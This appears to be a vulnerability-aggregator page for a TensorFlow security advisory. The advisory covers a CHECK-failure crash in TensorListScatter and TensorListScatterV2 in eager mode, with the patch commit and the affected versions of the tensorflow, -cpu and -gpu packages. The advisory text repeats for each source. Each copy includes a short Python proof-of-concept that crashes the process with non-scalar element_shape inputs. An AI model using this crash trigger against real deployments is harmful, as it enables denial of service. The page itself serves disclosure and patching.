GHSA-xf83-q765-xm6m

`CHECK` fail in `TensorListScatter` and `TensorListScatterV2` in eager mode

No scoreFix available

GHSA-xf83-q765-xm6m is a vulnerability with no CVSS score yet in tensorflow, published November 21, 2022. No source lists public exploit code. Fixed in tensorflow 2.8.4.

What does this mean?

Severity: UnratedNo CVSS score yet
Exploit chance: UnscoredNo EPSS score yet
Exploitation: None knownNot on CISA’s or ENISA’s lists
Fixed in: 2.8.4tensorflow +14 more

Description

Impact

Another instance of CVE-2022-35991, where TensorListScatter and TensorListScatterV2 crash via non scalar inputs inelement_shape, was found in eager mode and fixed.

import tensorflow as tf
arg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None)
arg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_3=''
tf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, 
element_shape=arg_2, name=arg_3)

Patches

We have patched the issue in GitHub commit bf9932fc907aff0e9e8cccf769e8b00d30fd81a1.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Pattarakrit Rattankul

Affected packages

Affected packages
Package	Affected	Fixed
`tensorflow` PyPI	before 2.8.4	2.8.4
`tensorflow` PyPI	2.9.0 up to 2.9.3	2.9.3
`tensorflow` PyPI	2.10.0 up to 2.10.1	2.10.1
`tensorflow-cpu` PyPI	before 2.8.4	2.8.4
`tensorflow-gpu` PyPI	before 2.8.4	2.8.4
`tensorflow-cpu` PyPI	2.9.0 up to 2.9.3	2.9.3
`tensorflow-gpu` PyPI	2.9.0 up to 2.9.3	2.9.3
`tensorflow-cpu` PyPI	2.10.0 up to 2.10.1	2.10.1
`tensorflow-gpu` PyPI	2.10.0 up to 2.10.1	2.10.1
`tensorflow` PyPI	before 2.8.4, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less 1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4	2.8.4

Show 5 moreShow less

Affected packages
Package	Affected	Fixed
`tensorflow` PyPI	2.9.0 up to 2.9.3, plus listed versions 2.9.12.9.2	2.9.3
`tensorflow-cpu` PyPI	before 2.8.4, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 Show 34 moreShow less 2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.4.42.5.02.5.12.5.22.5.32.6.02.6.12.6.22.6.32.6.42.6.52.7.02.7.12.7.22.7.32.7.42.8.02.8.12.8.22.8.3	2.8.4
`tensorflow-gpu` PyPI	before 2.8.4, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less 1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4	2.8.4
`tensorflow-cpu` PyPI	2.9.0 up to 2.9.3, plus listed versions 2.9.12.9.2	2.9.3
`tensorflow-gpu` PyPI	2.9.0 up to 2.9.3, plus listed versions 2.9.12.9.2	2.9.3

What each source reports

GitHub AdvisoriesNo score

`CHECK` fail in `TensorListScatter` and `TensorListScatterV2` in eager mode

Impact

Another instance of CVE-2022-35991, where TensorListScatter and TensorListScatterV2 crash via non scalar inputs inelement_shape, was found in eager mode and fixed.

import tensorflow as tf
arg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None)
arg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_3=''
tf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, 
element_shape=arg_2, name=arg_3)

Patches

We have patched the issue in GitHub commit bf9932fc907aff0e9e8cccf769e8b00d30fd81a1.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Pattarakrit Rattankul

Record: GHSA-xf83-q765-xm6m
Updated: 2026-11-02

OSVNo score

`CHECK` fail in `TensorListScatter` and `TensorListScatterV2` in eager mode

Impact

Another instance of CVE-2022-35991, where TensorListScatter and TensorListScatterV2 crash via non scalar inputs inelement_shape, was found in eager mode and fixed.

import tensorflow as tf
arg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None)
arg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_3=''
tf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, 
element_shape=arg_2, name=arg_3)

Patches

We have patched the issue in GitHub commit bf9932fc907aff0e9e8cccf769e8b00d30fd81a1.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Pattarakrit Rattankul

Record: GHSA-xf83-q765-xm6m
Updated: 2026-11-02

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	GitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

This page doesn't list everything

Left out here: 59 versions. The JSON record has them.